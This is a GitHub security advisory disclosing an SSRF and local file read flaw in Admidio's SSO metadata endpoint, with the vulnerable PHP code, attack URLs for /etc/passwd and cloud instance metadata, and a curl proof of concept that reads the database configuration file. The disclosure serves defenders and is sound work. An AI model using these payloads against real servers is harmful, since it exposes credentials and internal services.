GitHub Security Advisory: GHSA-6j68-gcc3-mq73
Package: admidio/admidio (COMPOSER)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 5.0.0, <= 5.0.6
Patched in: 5.0.7

Summary: Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint

Details:
## Summary

The SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET['url']`, validates it only with PHP's `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

## Details

### Vulnerable Code

File: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34

```php
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;
```

### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:

| Scheme | Impact |
|--------|--------|
| `file:///etc/passwd` | Read any local file the web server process can access |
| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |
| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |
| `data://text/plain,payload` | Data URI content injection |

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

```
php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned
```

### file:// Does Not Require allow_url_fopen

PHP's `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

### Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.

## PoC

**Prerequisites:** Administrator account session cookie and CSRF token.

**Step 1: Read the Admidio database configuration file**

```
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"
```

Expected response: Full contents of config.php including the database host, username, and password in plaintext.